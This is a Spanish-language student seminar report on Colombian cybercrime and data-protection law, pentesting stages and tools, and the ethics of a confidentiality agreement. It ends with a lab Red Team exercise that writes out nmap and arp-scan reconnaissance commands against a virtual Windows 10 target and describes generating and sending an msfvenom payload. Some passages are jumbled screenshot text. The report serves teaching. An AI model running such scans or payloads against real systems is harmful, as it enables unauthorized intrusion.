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RESUMEN

El informe proporciona una visién general de las leyes colombianas relacionadas con la
ciberseguridad, como la Ley 1273 de 2009 y la Ley 1581 de 2012, que regulan los delitos
informaticos y la proteccién de datos personales, respectivamente. También se detallan las
sanciones correspondientes y la entidad reguladora en Colombia. Ademas, se describen las etapas
del pentesting y se mencionan algunas herramientas utilizadas en el proceso. Se discuten los
conceptos éticos y legales relacionados con la confidencialidad en el ambito laboral y se analiza
un caso especifico de cibercrimen en Colombia. Finalmente, se presenta un escenario de Redteam

con la identificacién de vulnerabilidades y la ejecucion de un ataque de intrusion.

Describe un ejercicio de pentesting realizado en una maquina Windows 10 X64, donde se
identifican fallos de seguridad y se ejecuta un ataque utilizando la herramienta nmap para
identificar puertos abiertos y msfvenom para generar payloads. Se detalla el proceso de ejecucién
del ataque, incluyendo la generacion y envio de un archivo ejecutable malicioso a la victima.
Posteriormente, se explican las consecuencias del ataque y se proporciona un plan detallado para
contener y subsanar los sistemas afectados, incluyendo la descarga de una guia de hardenizacién
para Windows 10. Ademas, se discuten las diferencias entre equipos Blue Team, Red Team, Purple
Team y equipos de respuesta a incidentes informaticos. Se menciona la funcién del Center for
Internet Security (CIS) en la seguridad cibernética y se proporciona un tutorial sobre cémo acceder
y utilizar los recursos de CIS. Finalmente, se presenta una tabla comparativa entre SIEM y XDR y se

mencionan tres herramientas de deteccidn de ataques informaticos con licencia GPL.



GLOSARIO:

Ley 1273 de 2009: Conocida como "Ley de delitos informaticos", establece sanciones para
acciones como el acceso abusivo a sistemas informaticos y la interceptacién de datos.

Ley 1581 de 2012: Conocida como "Ley de Proteccién de Datos Personales", regula la proteccién
de la informacién personal de los usuarios.

Pentesting: Prueba de penetracion que busca identificar vulnerabilidades en sistemas
informaticos.

Payload: Carga util de un exploit, utilizada para aprovechar una vulnerabilidad en un sistema.
Metasploit: Herramienta de prueba de penetracidn ampliamente utilizada.
CVE: Identificador Unico asignado a una vulnerabilidad de seguridad conocida.

Redteam: Equipo encargado de simular ataques de ciberseguridad para evaluar la seguridad de
una organizacion.

Nmap: Herramienta de escaneo de red utilizada para identificar dispositivos y puertos abiertos en
una red.

Malware: Software malicioso disefiado para dafar o infiltrarse en un sistema de computadora.
Firewall: Sistema de seguridad que controla el trafico de red entrante y saliente.

Windows Defender: Programa antivirus y antispyware integrado en sistemas operativos Windows.
Intrusion: Accion de acceder de manera no autorizada a un sistema informatico.

Pentesting: Prueba de penetracién, proceso de evaluacién de la seguridad de un sistema o red
mediante la simulacién de ataques cibernéticos.

Payload: Carga util, parte de un malware que realiza acciones maliciosas en el sistema
comprometido.

IP: Protocolo de Internet, direccidn Unica asignada a cada dispositivo conectado a una red.

Firewall: Cortafuegos, dispositivo o software que controla el trafico de red segun reglas de
seguridad predefinidas.

Antivirus: Programa disefiado para detectar, prevenir y eliminar malware.

Malwarebytes: Software de seguridad que detecta y elimina malware, incluidos virus, gusanos,
troyanos, etc.

Analisis forense: Proceso de recoleccidn, preservacidn y analisis de evidencia digital para investigar
incidentes de seguridad.

IDS: Sistema de deteccidn de intrusiones, herramienta que monitorea y analiza el trafico de red
en busca de actividades sospechosas.

IPS: Sistema de prevencién de intrusiones, herramienta que bloquea o previene actividades
sospechosas detectadas por un IDS.

CIRT/CSIRT: Equipo de respuesta a incidentes informaticos, grupo responsable de gestionar y
responder a incidentes de seguridad cibernética.



CIS: Center for Internet Security, organizacidn sin fines de lucro que proporciona recursos y pautas
para mejorar la seguridad cibernética.

SIEM: Security Information and Event Management, herramienta que recopila, correlaciona y
analiza eventos de seguridad en tiempo real.

XDR: Extended Detection and Response, plataforma de seguridad que combina la deteccién y
respuesta a amenazas en multiples puntos de datos y fuentes.

GPL: Licencia publica general, tipo de licencia de software que permite la distribucidon y
modificacidn del codigo fuente.



INTRODUCCION

En un mundo cada vez mas digitalizado, donde la informacién es un activo valioso y los datos
personales se utilizan en diversas plataformas y servicios en linea, es fundamental establecer
normas y regulaciones para proteger estos activos y la privacidad de los usuarios ,ya que estos
datos pueden ser usados de manera fraudulente o llenar a los usuarios de informacion
constantemente por ejemplo por medio de corroes no deseados o de sitios que ni siquiera hemos

visitado.

El informe aborda diversos aspectos relacionados con la ciberseguridad y la proteccién de datos
en Colombia, desde la legislacion hasta la ejecucion de pruebas de intrusién. Se analizan las leyes
pertinentes, las sanciones aplicables y los procesos de pentesting para identificar vulnerabilidades
en sistemas informdaticos. Ademas, se discuten cuestiones éticas y legales relacionadas con la
confidencialidad en el &mbito laboral, asi como un caso especifico de cibercrimen en el pais. Este
informe proporciona una visién integral de la importancia de la seguridad cibernética en el
entorno actual y destaca la necesidad de adoptar medidas proactivas para proteger la informacién

y los sistemas contra amenazas potenciales.



1.1

1.2

OBJETIVOS
OBJETIVOS GENERAL

Formular estrategias de contencion mediante el analisis de riesgosy
vulnerabilidades en una infraestructura TI.
Realizar un informe final con todo lo realizado durante el seminario.

OBJETIVOS ESPECIFICOS

Conocer las leyes y normas que rigen los sistemas informaticos y protegen
los usuarios.

Conocer herramientas informaticas que se pueden utilizar para la realizacién
de un pentesting

Preparar un banco de trabajo con maquinas virtuales

Conocer Como nos puede afectar el desconocimiento de las leyes desde el
punto de vista de cualquier contrato en las empresas.

Conocer el crecimiento de ataques a nivel de nuestra nacion y la importancia
de serun especialista en seguridad de la informacion.

Identificary describir las herramientas de software utilizadas en el escenario
Red Team para poder realizar el analisis de la seguridad en la maquina
Windows 10y con esta informacion identificar posibles fallos de seguridad.
Demostrar habilidades de analisis critico y la resolucidn de cualquier
problema en el area de la ciberseguridad, aplicando conocimientos teéricos
a situaciones practicas.

Aplicar metodologias reconocidas de pruebas de intrusion, como el
pentesting, con el fin de evaluar la seguridad del sistema victima y detectar
posibles brechas de seguridad.

Identificar los pasos necesarios para detectar un ataque informatico en tiempo real.

Desarrollar un plan paso a paso para abordar y subsanar un sistema afectado por un

ataque cibernético.

Comprender la importancia de mantener actualizados los equipos de cdmputo con sus
respectivos antivirus y parches de seguridad.



ETAPA 1 CONCEPTOS EQUIPOS DE SEGURIDAD

1. DEFINA DE FORMA GENERALY CON SUS PALABRAS QUE
MENCIONA LA LEY 1273 DE 2009 Y DEFINIR CADA ARTICULO.

Esta ley es conocida como “Ley de delitos informaticos” y se creo con el objetivo de proteger
la seguridad de la informacion y los sistemas ,a medida que se fue avanzado en la tecnologia se
iban aumentando los delitos informaticos ,como realizacién de fraudes , estafas , ingresos no
autorizados ,pornografia infantil entre otros , por este motivo era necesario poder tener

control y penalizar todos estos casos.

Articulos:

e Articulo 269A:Acceso abusivo a un sistema informatico: Sanciona a quien, sin
autorizacién, acceda a un sistema informatico protegido.

e Articulo 269B: Obstaculizacién ilegitima de sistema informdtico o red de
telecomunicacién: Sanciona a quien, sin estar facultado para ello, impida u obstaculice
el funcionamiento de un sistema informatico o red de telecomunicaciones.

e Articulo 269C: Interceptacién de datos informaticos: Sanciona a quien intercepte datos
informaticos sin autorizacion.

e Articulo 269D: Dafio informatico: Sanciona a quien destruya, altere, elimine o dafie
datos informaticos.

e Articulo 269E:Uso de software malicioso: Sanciona a quien use software malicioso para
causar dafio a un sistema informatico.

e Articulo 269F: Violacién de datos personales: Sanciona a quien, sin autorizacién,
obtenga, revele o use datos personales.

e Articulo 269G: Suplantacion de sitios web para capturar datos personales: Sanciona a
quien suplante un sitio web para capturar datos personales.?

1 ZULAY NAYIV SANCHEZ CASTILLO
https://repository.unad.edu.co/bitstream/handle/10596/11943/1053323761.pdf?sequen



2. EXPLICAR DE MANERA GENERAL TODO AL RESPETO DE LA
LEY 1581 DE 2012.

Esta Ley 1581 de 2012, es conocida como "Ley de Proteccién de Datos Personales", su
objetivo principal es proteger los datos de los usuarios y desde el comienzo agigantado de la
tecnologia se hace mas facil obtener y colectar informacion de usuarios se hizo fundamental
crear una ley que controlar toda esta informacion obtenida.

Por ejemplo, un usuario no debe ni puede recibir correos o llamadas de lugares de los cuales
jamas haya visitado sin dar su informacion personal como cedula ,correo electrénico o
teléfono.

De esta manera se evita que toda la informacion personal este transitando sin control.

3. CONSULTAR EL MONTO DE LAS MULTAS CORRESPONDIENTES
Y LA ENTIDAD QUE LAS REGULA EN COLOMBIA

Sanciones econdmicas hasta por 5.000 SMMLV. Suspensiéon de actividades relacionadas al
tratamiento hasta por seis (6) meses. Cierre temporal de las operaciones relacionadas con
tratamiento de datos. Cierre definitivo de las operaciones relacionadas con tratamiento de
datos sensibles.

La Superintendencia de Industria y Comercio (SIC) es la entidad que regula el tratamiento de
los datos personales en Colombia.

4. ETAPAS DEL PENTESTING Y ALGUNAS APLICACIONES.

El pentesting hace referencia al chequeo o busqueda de vulnerabilidades en una red de datos
0 un sitio web ,ya sea con el objetivo de buscar vulnerabilidades para corregirlas o en su
defecto con fines delictivos.

El pentesting tiene en resume 5 etapas principales que son:

1. Reconocimiento: en esta fase se recopila toda la informacion posible como direccion Ip, tipo
de sitio ,gestor de contenidos , sistemas operativos y sus versiones usadas ,puertos abiertos y
sus respectivos servicios , es la etapa mas importante pues en esta donde se deben recolector



toda la informacion posible ya que de esta depende el éxito de un informe final.

Q - Analisis de DNS
Q » Analisis de Ruteo
(@), - Analisis OSINT

*

Aplicaciones favoritas

Todas las aplicaciones

* Configuracion

Aplicationes habituales

01 - Recopilacion de Informacia
02 - Analisis de Vulnerabilidades
03 - Analisis de Aplicaciones Web
04 - Evaluacion de Bases de Datos
05 - Ataques de contrasefas

06 - Ataques Wireless

07 - Ingenieria Inversa

08 - Herramientas de Explotacion

09 - Sniffina & Snoofina

Illustracion 1 Recopilacion de informacion

2. Anélisis de vulnerabilidades:

b

b

Q - Analisis SMB
Q - Analisis SMTP
Q « Analisis SNMP

Q » Identificacién de Hosts en li. |}

Q - Identificacién de IDS/IPS

En esta fase se analizan todas las vulnerabilidades encontradas ,

Se utilizan herramientas automatizadas y manuales para identificar las vulnerabilidades.

(-]

Aplicaciones favoritas

Configuracion

Aplicationes habituales

llustracion 2 Anélisis de vulnerabilidades




3. Explotacién de vulnerabilidades:

Se explotan las vulnerabilidades identificadas en la fase de analisis.

Se utilizan diferentes técnicas para explotar las vulnerabilidades, como ataques de inyecciéon
de cddigo, ataques de denegacidn de servicio y ataques de phishing.

Aplicaciones favoritas —— -
crackmapexec

m metasploit framework

Todas las aplicaciones

@ msf payload creator

" Configuracion )
: * searchsploit

Aplicationes habituales

i . ) . social engineering toolkit (root)

01 - Recopilacion de Informacion
- . - sqlmap
02 - Analisis de Vulnerabilidades >qimap
03 - Analisis de Aplicaciones Web
04 - Evaluacion de Bases de Datos
05 - Ataques de contrasefias
06 - Ataques Wireless

07 - Ingenieria Inversa

08 - Herramientas de Explotacion

llustracion 3 herramientas de explotacion

4. Post-explotacion:

En esta fase evaluamos el impacto de la explotacién de todas las vulnerabilidades
encontradas. Pueden ser documentadas para su analisis.

Y se realizan sugerencias y recomendaciones para cubrir estas vulnerabilidades.



5. Informe:

* Se elabora un informe con los resultados del pentesting.

* El informe debe incluir informacion sobre las vulnerabilidades identificadas, las técnicas de
explotacién utilizadas y las recomendaciones para mejorar la seguridad del sistema.

Existen en Kali Linux una cantidad de herramientas que son gratuitas pero que a su vez se
pueden comprar para obtener todas las opciones de uso. Por ejemplo, Maltego se puede
instalar gratuitamente pero también hay versién de pago.

Maltego: Es una herramienta de inteligencia de amenazas que permite realizar analisis de
redes sociales, mapeo de relaciones entre entidades y visualizacidon de informacion. Ofrece
diferentes planes de pago, desde una version gratuita con funcionalidades limitadas hasta

planes profesionales con acceso a todas las funciones.

L 23  buy.maltego.com//shop/default

Vilhois lookup - Wh... E Botdn de chat gratu... B® Centro de servicios

by pTan HERE.

Year EUR 1.099,00

ADD TO CART

Illustracion 4 Precio de Maltego version profesional

También esta Nessus que es un escdner de vulnerabilidades muy popular utilizado por
profesionales de la seguridad para identificar y evaluar vulnerabilidades en sistemas
informaticos. Tiene una versidn gratuita por dias Es una herramienta poderosa que se puede
usar para escanear una amplia gama de vulnerabilidades, incluidas las vulnerabilidades del
sistema operativo, vulnerabilidades de aplicaciones y vulnerabilidades de configuracidn de red.

Buy Nessus Pro

Buy a multi-year license and save. Add Advanced Support for access to
phone, community and chat support 24 hours a day, 365 days a year.

SELECT YOUR LICENSE

Buy a multi-year license and save.

@ 1Year-18.397.251,20 COP*

O 2 Years - 35.874.639,84 COP™*
O 3 Years - 52.432.165,91 COP*

llustracion 5 Herramienta Nessus



Shodan: Es un motor de busqueda especializado en dispositivos conectados a Internet.
Permite encontrar informacidn sobre servidores web, cdmaras IP, routers, dispositivos loT
y mucho mas. Ofrece diferentes planes de pago que varian en la cantidad de busquedas

mensuales y la informacién detallada que se puede obtener.

< 23  account.shodan.io/billing B + gy v O = |
Whois lookup - Wh... B Boton de chat gratu BE Centro de servicios. EB Curso de Python de... I€) DNS Querny @ downconnectprojh M Edit code - EDA Pla
SHODAN Account Billing Take a Tour Login Register

Choose Your Plan

No contracts. No setup fees. Cancel anytime

Freelancer Small Business Corporate

$69/month $359/month $1099/month

llustracion 6Herramienta Shodan

5. METASPLOIT ARQUITECTURAY OPCIONES.

Metasploit es una herramienta de prueba de penetracidn (pentesting) ampliamente utilizada
gue proporciona una plataforma para desarrollar, probar y ejecutar exploits contra sistemas
informaticos. Su arquitectura y opciones pueden variar segun la version y configuracién
especificas,?

Los mddulos del MSF pueden ser de distintos tipos:

Auxiliares ,Exploits ,Payloads ,Post ,Noop

2 Latest Metasploit Modules https://www.metasploit.com/



- | Terminal n.°1
Archivo Acciones Editar Vista Ayuda
ST r tasploit-f

Ilustracion 7 Metasploit

b

Terminal n.?1

Archivo Acciones Editar Vista Ayuda

Illustracion 8 comandos para usar. Se ven con "help"




6. ¢QUE ES UN CVE Y SU ESTRUCTURA?

Un CVE (Common Vulnerabilities and Exposures) es un identificador Gnico que se asigna a una
vulnerabilidad de seguridad conocida. Es un sistema de catalogacién publica que permite a los
investigadores de seguridad, fabricantes y responsables de seguridad de las organizaciones
identificar y gestionar de manera mas eficiente los problemas de seguridad.

Estructura de un CVE:

Un CVE se compone de cuatro partes:

CVE-2023: Los primeros cuatro digitos indican el afio en que se asigno el CVE.

- 2825: Los siguientes digitos son un nimero secuencial Unico.

Ejemplo:

- CVE-2023-2825: Vulnerabilidad critica afecta a Gitlab

Los CVE son asignados por MITRE Corporation, una organizacion sin fines de lucro que se
especializa en investigacién y desarrollo de tecnologia.

Se encuentra informacion en la base de datos CVE publica de MITRE: https://cve.mitre.org/
Los CVE son importantes porque permiten a las organizaciones identificar y gestionar de

manera mas eficiente los problemas de seguridad.

Facilitan la comunicacidon entre los investigadores de seguridad, fabricantes y responsables de
seguridad de las organizaciones.

Ayudan a las organizaciones a priorizar sus esfuerzos de seguridad.

Se puede usar para buscar informacién sobre vulnerabilidades de seguridad , Identificar
vulnerabilidades que afectan a tus sistemas ,priorizar tus esfuerzos de seguridad .informar a
los proveedores sobre las vulnerabilidades que se encuentran®

3(',QUE ES CVE? EXPLICACION DE LAS VULNERABILIDADES Y EXPOSICIONES COMUNES
https://ciberseguridad.com/herramientas/marco-mitre-att-ck/cve-vulnerabilidades-
exposiciones-comunes/ -


https://www.tarlogic.com/es/blog/cve-2023-2825/
https://ciberseguridad.com/herramientas/marco-mitre-att-ck/cve-vulnerabilidades-exposiciones-comunes/
https://ciberseguridad.com/herramientas/marco-mitre-att-ck/cve-vulnerabilidades-exposiciones-comunes/

7. BANCO DE TRABAJO

o G =P
Nueva Afadr  Configuracidn Mostrar 5}

General

Nombre: win10-pro-Henry

Sistema operativo: Windows 10 (64-bit)

[®] sistema

Memoria base: 6 2 b
Orden de arranque:  Disquete, Optica, Disco duro reciclaje
Aceleradién: Paginacion anidada, Paravirtualizacién

(M) pantalla

Memoria de video: 128 MB u
Controlador gréfico: VBOXSVGA G le
Servidor de escritorio remoto:  Inhabiltado el
Grabacién: Inhabilitado Chrome
& Amacenamiento B8 Administrador: C:\Windows\System32\cmd.exe

Controlador: SATA

Puerto SATA win10-pro.vdi (Normal, 50,00 GB)

Puerto SATA [Unidad 6ptica] Vacio
{n Audio
Controlador de anfitrién: - Windows DirectSound
Controlador: Audio Intel HD
®F Red

Adaptador 1: Intel PRO/1000 MT Desktop (Adaptador puenty

£ uss

Controlador USB: OHCI
Fitros de dispositivos: 0 (0 activo)

[C] Carpetas compartidas
Ninguno

Descripcion

Ninguno

11:229a.m.
13/02/2024

)

BOugo  BRUGE R =R
Illustracion 9 Instalacién de Windows 10 pro y sus caracteristicas técnicas
Nueva Afadr Configuracdn Mostrar
=| General | previsualizacién
Nombre: Kali_Seminario_2024
Sistema operativo: Ubuntu (64-bit)
= [ sistema
- Memoria base: 2048 MB

Orden de arranque:  Disquete, Optica, Disco duro
Aceleracdn: Paginacién anidada, Paravirtualizacdn KVM

M| pantalla

Memoria de video: 16 M8
Controlador grafico: VMSVGA

Y S s CIEF LR
[ Amacenamiento E

Controlador: IDE . 3 “ .
IDE secundario maestro:  [Unidad dptica] VBoxGuestadditions JRara il IRACS CUL UL GG L)
Controlador: SATA

root@kali: home/henry

Mouse integration ...

Auto capture keyboard ...

Pusrto SATA 0: Intrusion. vdi (Normal, 25,00 GE)
{2 Audio
Controlador de anfitrién:  Predeterminado
Controlador: ICH AC97
& Red

Adaptador 1:  Intel PRO/1000 MT Desktop (Adaptador puente,
() uss

Controlador USB: OHCI, BHCI
Filtros de dispositivos: 0 (0 activo)

(] Carpetas compartidas
Ninguno
® Descripaid

Ninguno

BOas Bl il® @ cr omecia



9P Kali_Seminario_2024 g—  [E] sistema
=SS = 0=
& Corriendo O=—  Memoria base: 2048MB
Orden de arranaue: _ Disauete. Gptica. Disco duro
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Illustracion 10 instalacion de Kali Linux. y sus caracteristicas técnicas

llustracion 11 Comunicacion entre las Maquinas



ACTIVIDAD UNIDAD 1 - ETAPA 2 - ACTUACION ETICAY
LEGAL

Una vez leido el anexo 2 — escenario 2 y el anexo 3 -Acuerdo, ;Qué parrafos cree usted que

se tornan ilegales dentro del acuerdo de confidencialidad?

En la empresa Hackerhouse a pesar de ser una empresa en constante crecimiento y que
se esta posicionando rapidamente incurre en algunos detalles que pueden afectar su

buen nombrey el de los que laboranenella.

Inicialmente tiene como acuerdo de confidencialidad aprobado un documento elaborado
por un abogado que ya no labora con ellos y que presuntamente realizaba ilicitos dentro
de la empresa y aun con evidente conocimiento de este tema recursos humanos no se
tomod la molestia de revisar este documento en asesoria de un tercero , lo cual puede
conducir a un documento con muchos vacios éticos y/o profesionales.

La empresa en la seleccione de personal propone que los nuevos candidatos realicen una
prueba técnica basada en escenarios reales presentados en la empresa ,lo cual es poco
ético ya que estarian abusando de los candidatos para que les solucionen sus posibles

brechas de seguridad practicamente de forma gratuita.

En conclusion, la empresa Hackerhouse o es una empresa abusadoray poco ética o no
cuenta con el personalidéneo en la alta gerencia o en el drea de recursos humanos que le
ayuden a seleccionar el personal en la elaboracién de los documentosy normas que rigen
la empresa.

Si usted como profesional en ciberseguridad logré encontrar algln proceso ilegal en el
anexo 3-Acuerdo, debera citar puntualmente ley colombianay articulo que se podria estar

violentando en dicho documento.

Algunas clausulas del contenido de confidencialidad me llaman la atencién como, por

ejemplo:

La clausula primero donde se obliga a no divulgar informacion confidencial de procesos



ilegales , esto puede incurrir en procesos penales contra el firmante ,ya que aun

conociendo sobre procesos ilegales en la empresa los debe “omitir”.

El Codigo Penal Colombiano, en su articulo 447, establece penas de prisidon para quien

"impida o dificulte la actuaciéon de un funcionario publico en ejercicio de sus funciones".*

Clausula Cuarta:

Tiene en su apartado 3:“ No denunciar ante las autoridades actividades sospechosas
de espionaje o cualquier otro proceso en el cual intervenga la apropiacidon de
informacidn de terceros.”

Es como el refuerzo a la primera clausula donde se exige que independiente a cualquier
actividad ilegal o que presuntamente parezca ilegal se debe guardar reserva total , aparte
que se obliga al firmante a cargar con la responsabilidad de todo lo que malo que puedan

realizar las personas que tengan la informacion.

Se obliga también a tener absoluta reserva ,al menos que sea autorizado por Hackerhouse

arevelar los malos manejos de la informacion.

Como tal la clausula cuarta con todos sus articulos ,2,3,4,5, esta comprometiendo al
firmante aparte de tener reserva absoluta y responsabilidad de todo lo que suceda con la

informacion, a cargar como unico responsable de cualquier resultado delictivo.

Clausula Sexta , y finalmente creo que con esta clausula acaban de comprometer
completamente al firmante que aparte de comprometerse con la informacion
“confidencial” debe cargar con el mal comportamiento o cualquier otro tipo de delito que

se ejecute en a la empresa donde se vea comprometida la informacion.

4Fuente:https://www.conceptosjuridicos.com/codigo—penal-articulo-
447 /#:~:text=E1%20art%C3%ADculo%20447%20del%20C%C3%B3digo,de%20Justicia%20por%20imprude

ncia%?20grave.


https://www.conceptosjuridicos.com/codigo-penal-articulo-447/#:~:text=El%20art%C3%ADculo%20447%20del%20C%C3%B3digo,de%20Justicia%20por%20imprudencia%20grave
https://www.conceptosjuridicos.com/codigo-penal-articulo-447/#:~:text=El%20art%C3%ADculo%20447%20del%20C%C3%B3digo,de%20Justicia%20por%20imprudencia%20grave
https://www.conceptosjuridicos.com/codigo-penal-articulo-447/#:~:text=El%20art%C3%ADculo%20447%20del%20C%C3%B3digo,de%20Justicia%20por%20imprudencia%20grave

En las clausulas mencionadas creo que se pueden incluir los articulos del
Cddigo Penal Colombiano: : Obstruccién a la justicia ya que es se insiste mucho en no

revelar cualquier movimiento ilegal o de fraude.

Se trata de un delito contra la Administracion de Justicia. Esta regulado en el Titulo XX,
Capitulo VII, De la obstruccién a la Justicia y la deslealtad profesional, en los articulos 463
y 464 del Cdédigo Penal, junto a los delitos de deslealtad profesional.

El delito de obstruccién a la justicia comprende diferentes conductas.

Por un lado, el articulo 463 castiga la incomparecencia injustificada en causa criminal. Por
otro lado, el articulo 464 regula los atentados contra la libertad de los intervinientes en un

procedimiento judicial.

También se estd violando la LEY 1273 DE 2009 que es: Articulo 269F. VIOLACION DE
DATOS PERSONALES. Apropiacién indebida de informacién confidencial ya que se debe
entregar a las personas que la soliciten y el firmante no sabe que haran con ella.

Ley 1581 de 2012°

Considero también que se estd violando el Articulo 8°. Derechos de los Titulares.

Proteccion de datos personales

® Fuente: https://www.gersonvidal.com/blog/obstruccion-justicia/

Fuente : https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981


https://www.gersonvidal.com/blog/delitos-contra-administracion-justicia/
https://www.gersonvidal.com/blog/delito-deslealtad-profesional/
https://www.gersonvidal.com/blog/obstruccion-justicia/
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981

¢JUSTED ACEPTARIA CONTRATO Y ACUERDO DE CONFIDENCIALIDAD DE LA
ORGANIZACION HACKERHOUSE, AUN CONOCIENDO LO QUE PODRIA DISPONER
COPNIA EN SU CODIGO DE ETICA Y SANCIONES EN COLOMBIA PARA PROFESIONALES
DE INGENIERIA?

Conociendo los principios que segun COPNIA estaria infringiendo el contrato de
confidencialidad como por ejemplo la prohibicidon de denunciar actividades delictivas ,la
exencion de responsabilidades , el hecho de tener que responder por el mal uso de la
informacion y la prohibicion de divulgar o denunciar actividades que me pueden afectar
directamente , considero que aceptar un contrato de confidencialidad con condiciones
cuestionables podria implicar ciertos riesgos y responsabilidades, pero no me hace

automaticamente culpable de las posibles actividades delictivas.

Por eso también seria bueno asesorarse de un especialista en términos de este tipo de

contratos para comprender mejor el alcance de las implicaciones.

el hecho de aceptar este contrato no me convierte en delincuente participe de cualquier

evento irregular.

La decisiéon de aceptar una oferta laboral con lleva consideraciones mucho mas
importantes que una simple decisidon , hay muchos factores como la situacién laboral
actual, las condiciones econdmicas y familiares, asi como las oportunidades de
crecimiento profesional, todas deben ser evaluadas cuidadosamente ya que de este tipo
de situaciones dependeria mi vida laboral y personal . Aunque la tentacién de aceptar un
contrato atractivo puede ser considerable, es imperativo analizar con detenimiento las
condiciones propuestas y su alineacién con los principios éticos y legales. En caso de que
se identifique alguna actividad delictiva en la empresa, se debe tener en cuenta la
responsabilidad individual de informar de manera adecuada y oportuna, asegurando la
integridad y el cumplimiento de las normativas legales. Desde una perspectiva objetiva, es
comprensible rechazar una oferta de trabajo en circunstancias que pongan en riesgo los
principios éticos y la integridad profesional. Sin embargo, la realidad cotidiana de
obligaciones financieras y familiares puede influir en la toma de decisiones, llevando a

aceptar la oportunidad laboral. No obstante, no podria dejar pasar de largo la oportunidad



de pertenecer al grupo de trabajo de una empresa reconocida internacionalmente por sus
servicios en ciberseguridad esto representa una oportunidad valiosa que debe ser

considerada con mucha paciencia ,analisisy cautela.

Debera buscar alguna noticia de cibercrimen en Colombia y redactar su punto de vista

teniendo en cuenta las implicaciones legales y éticas que alli se pudieron generar

Hackers afectan salud y justicia en todo el pais
https://www.elcolombiano.com/colombia/hackers-afectan-salud-y-justicia-en-todo-el-

pais-HE22372630

MOVIMIENTO DE LOS CIBERATAQUES

_recimiento atagues Pérdidas promedio
2022-2023 .
N Enerojilio US$2 millones
Por empresa
NIVEL DEL CIBERATAQUE SECTORES
Alta criticidag Financiera
35%
i Grupos Empresariales
Media criticidad 27%
20% Ll."_J.:|
Baja criticidad 14%
Gubernamenta
23% 11%
Educacicn
8%

llustracion  11fuente:  https://www.larepublica.co/empresas/reporte-ciberseguridad-2023-a-empresas-y-sectores-
3701737

El articulo "Hackers Afectan Salud y Justicia en Todo el Pais" publicado en El Colombiano
el 20 de octubre de 2023 describe un ataque cibernético a entidades del sector salud y
justicia en Colombia. El ataque afectd los sistemas informaticos de varias entidades,

incluyendo hospitales, clinicas y juzgados.

Es un ciber ataque que afecta y vulnera los derechos de los pacientes en Colombia.


https://www.elcolombiano.com/colombia/hackers-afectan-salud-y-justicia-en-todo-el-pais-HE22372630
https://www.elcolombiano.com/colombia/hackers-afectan-salud-y-justicia-en-todo-el-pais-HE22372630

Alguna de las mas representativas que se pueden detectar en elabuso de este ciber ataque

son:

Ley 1273 de 2009 : Esta ley modifica el Codigo Penal colombiano y crea un nuevo bien
juridico tutelado denominado "de la proteccién de la informacién y de los datos". Esta ley
tipifica como delitos el acceso abusivo a un sistema informatico, la interceptacidon de datos

informaticos, el dafio informatico y la violacién de datos personales.

Ley 1905 de 2018: Esta ley crea el "Delito de hurto por medios informaticos y semejantes".
Esta ley tipifica como delito el hurto de informacidn personal, financiera o bancaria.

Ley 2087 de 2021: Esta ley modifica la Ley 1273 de 2009y tipifica como delitos nuevos tipos
de ciberdelitos, como el ransomware, la suplantacidn personal en lineay el ciberacoso.
Acceso abusivo a un sistema informatico: Los hackers habrian accedido sin autorizacion a
los sistemas informaticos de las entidades afectadas.

Interceptacion de datos informaticos: Los hackers podrian haber interceptado datos
informaticos mientras estos se transmitian por la red.

Dano informatico: Los hackers podrian haber dafado o destruido los datos informaticos de

las entidades afectadas.

Violacién de datos personales: Los hackers podrian haber obtenido acceso a datos
personales de los usuarios de las entidades afectadas.
Hurto por medios informaticos y semejantes: Los hackers podrian haber hurtado

informacién personal, financiera o bancaria de las entidades afectadas.



UNIDAD 2 - ETAPA 3 - EJECUCION PRUEBAS DE INTRUSION

1. Describa de manera especifica las herramientas software que utilizd para
llevar a cabo el anexo 4 — escenario 3 enfocado a Redteam.

Con los datos iniciales del ataque podemos identificar que fue un abuso de
confianza, ya que la persona objetivo confia en la personay por consiguiente en la
informacion enviada.

Este tipo de ataque es de los mas comunes, aunque también podemos suponer
que hubo suplantacidn de identidad , y que no fue un ataque ocasionado por
algun companero de trabajo.

Inicialmente se realiza un escaneo para identificar la Ip de la maquina victima:

arp-scan -l ethO -localnet

llustracion 12 Identificacion de la IP victima

2. Ejecutamos comandos para identificar el posible sistema operativo de la maquina
victima: con el comando nmap , también utilizamos zenmap.

nmap -0 192.168.100.110

nmap -0 --

nmap -O --osscan-guess 192.168.100.110

Cdédmo estamos en ambiente controlados ,sabemos que nuestro sistema operativo es
Windows 10, el comando no lo detecta con certeza ,procedemos actualizar el Kali Linux
y volvemos a ejecutar el comando.



llustracion 13 Identificacidn del sistema operativo de la maquina
Volvemos a ejecutar el comando nmap -O --osscan-guess 192.168.100.110

Con nmap actualizado. Y esta vez si nos incluye que el sistema es 90 % windows10

Illustracion 14 Actualizacion de NMAP , para ser mas asertivo en la identificacion del sistema operativo

3. Luego identificamos los posibles puertos con nmap para detectar posibles
vulnerabilidades o puertos abiertos.



Utilizamos el comando intenso: nmap -T4 -A-v 192.168.100.110

scaneo  Herramientas  Perfil  Ayuda (H)

ibjetivo: | 192.162.100.110 ~| Perfit |Intensescan ﬂl . = ' ",El"” 1 2 3 4

omande: | nmap -T4 -A -v 152.168.100.110

root@kali: fhomefhenry|

Servideres || Servicios Salida Nmap Puertos / Servidores Topelogia Detalles del servidor kb L S L L L L]

15 1 [Servidor . [ 4oieann 4 Protocolo 4 Estado 4 Servicio 4 Versien

192.168.100.110 ® tep open  fip
@ 135 tep open  mspc Microsoft V
@ 139 tep open  netbios-ssn Microsoft V
@ 415 tep open  microsoft-ds
® 534 tep open  rtsp
@® 688  tcp open  msrpc Microsoft
@ 2069  tep open  http Microsoft H RS
@ 2962 top open  enpp ;
@ 3306  tp open  mysql MySQL (unallil
@ 332 o open  mswht-server  Microsoft Td
@ 5357 tep open  http Microsoft H
@ 70 tep open  realserver
@ 8090  tcp open  opsmessaging
@® 8888  tcp open  sun-answerbook
o open  http Microsoft H

: medic

llustracion 15 identificacidon de puertos abiertos

Para realizar la prueba de intrusiéon en ambientes controlados , debemos identificar el
payloads con el que deseamos trabajar.

debemos también identificar la IP de nuestra maquina atacante .

Los datos ofrecidos son: maquina objetico con sistema operativo win10 64. Son servicios
de firewall y defender desactivados.

Identificacion de payload disponibles para la practica:

Generacién del payloads para la practica,
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% Poc_71705244.exe.02 Archivo WinR)
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Cortar

Copiar

Ilustracion 16 Creacion del Payload
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Illustracion 17 Creacidn de payload con diferentes puertos para comprobacion.
